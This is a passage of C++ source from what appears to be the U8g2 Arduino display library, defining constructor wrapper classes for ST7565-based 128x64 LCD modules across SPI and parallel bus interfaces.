u8g2_Setup_st7565_erc12864_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7565_ERC12864_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_ERC12864_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_erc12864_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7565_ERC12864_2_6800 : public U8G2 {\n  public: U8G2_ST7565_ERC12864_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_erc12864_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_ERC12864_2_8080 : public U8G2 {\n  public: U8G2_ST7565_ERC12864_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_erc12864_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_ERC12864_ALT_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_ERC12864_ALT_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_erc12864_alt_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_ERC12864_ALT_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_ERC12864_ALT_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_erc12864_alt_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_ERC12864_ALT_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_ERC12864_ALT_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_erc12864_alt_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_ERC12864_ALT_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_ERC12864_ALT_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_erc12864_alt_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7565_ERC12864_ALT_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_ERC12864_ALT_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_erc12864_alt_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7565_ERC12864_ALT_2_6800 : public U8G2 {\n  public: U8G2_ST7565_ERC12864_ALT_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_erc12864_alt_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_ERC12864_ALT_2_8080 : public U8G2 {\n  public: U8G2_ST7565_ERC12864_ALT_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_erc12864_alt_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_NHD_C12864_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_NHD_C12864_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_nhd_c12864_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_NHD_C12864_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_NHD_C12864_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_nhd_c12864_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_NHD_C12864_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_NHD_C12864_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_nhd_c12864_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_NHD_C12864_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_NHD_C12864_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_nhd_c12864_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7565_NHD_C12864_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_NHD_C12864_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_nhd_c12864_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7565_NHD_C12864_2_6800 : public U8G2 {\n  public: U8G2_ST7565_NHD_C12864_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_nhd_c12864_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_NHD_C12864_2_8080 : public U8G2 {\n  public: U8G2_ST7565_NHD_C12864_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_nhd_c12864_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_JLX12864_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_JLX12864_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_jlx12864_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_JLX12864_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_JLX12864_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_jlx12864_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_JLX12864_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_JLX12864_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_jlx12864_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_JLX12864_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_JLX12864_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_jlx12864_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7565_JLX12864_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_JLX12864_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_jlx12864_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7565_JLX12864_2_6800 : public U8G2 {\n  public: U8G2_ST7565_JLX12864_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_jlx12864_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_JLX12864_2_8080 : public U8G2 {\n  public: U8G2_ST7565_JLX12864_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_jlx12864_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_EA_DOGM128_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_EA_DOGM128_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ea_dogm128_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_EA_DOGM128_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_EA_DOGM128_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ea_dogm128_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_EA_DOGM128_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_EA_DOGM128_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ea_dogm128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_EA_DOGM128_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_EA_DOGM128_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ea_dogm128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7565_EA_DOGM128_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_EA_DOGM128_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ea_dogm128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7565_EA_DOGM128_F_6800 : public U8G2 {\n  public: U8G2_ST7565_EA_DOGM128_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ea_dogm128_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_EA_DOGM128_F_8080 : public U8G2 {\n  public: U8G2_ST7565_EA_DOGM128_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ea_dogm128_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_LM6063_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_LM6063_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lm6063_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_LM6063_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_LM6063_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lm6063_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_LM6063_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_LM6063_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lm6063_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_LM6063_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_LM6063_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lm6063_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7565_LM6063_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_LM6063_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lm6063_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7565_LM6063_F_6800 : public U8G2 {\n  public: U8G2_ST7565_LM6063_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lm6063_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_LM6063_F_8080 : public U8G2 {\n  public: U8G2_ST7565_LM6063_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lm6063_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_64128N_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_64128N_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_64128n_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_64128N_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_64128N_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_64128n_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_64128N_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_64128N_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_64128n_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_64128N_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_64128N_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_64128n_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7565_64128N_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_64128N_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_64128n_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7565_64128N_F_6800 : public U8G2 {\n  public: U8G2_ST7565_64128N_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_64128n_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_64128N_F_8080 : public U8G2 {\n  public: U8G2_ST7565_64128N_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_64128n_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_ZOLEN_128X64_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_ZOLEN_128X64_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_zolen_128x64_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_ZOLEN_128X64_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_ZOLEN_128X64_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_zolen_128x64_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_ZOLEN_128X64_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_ZOLEN_128X64_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_zolen_128x64_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_ZOLEN_128X64_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_ZOLEN_128X64_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_zolen_128x64_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7565_ZOLEN_128X64_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_ZOLEN_128X64_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_zolen_128x64_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7565_ZOLEN_128X64_F_6800 : public U8G2 {\n  public: U8G2_ST7565_ZOLEN_128X64_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_zolen_128x64_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_ZOLEN_128X64_F_8080 : public U8G2 {\n  public: U8G2_ST7565_ZOLEN_128X64_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_zolen_128x64_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_LM6059_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_LM6059_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = 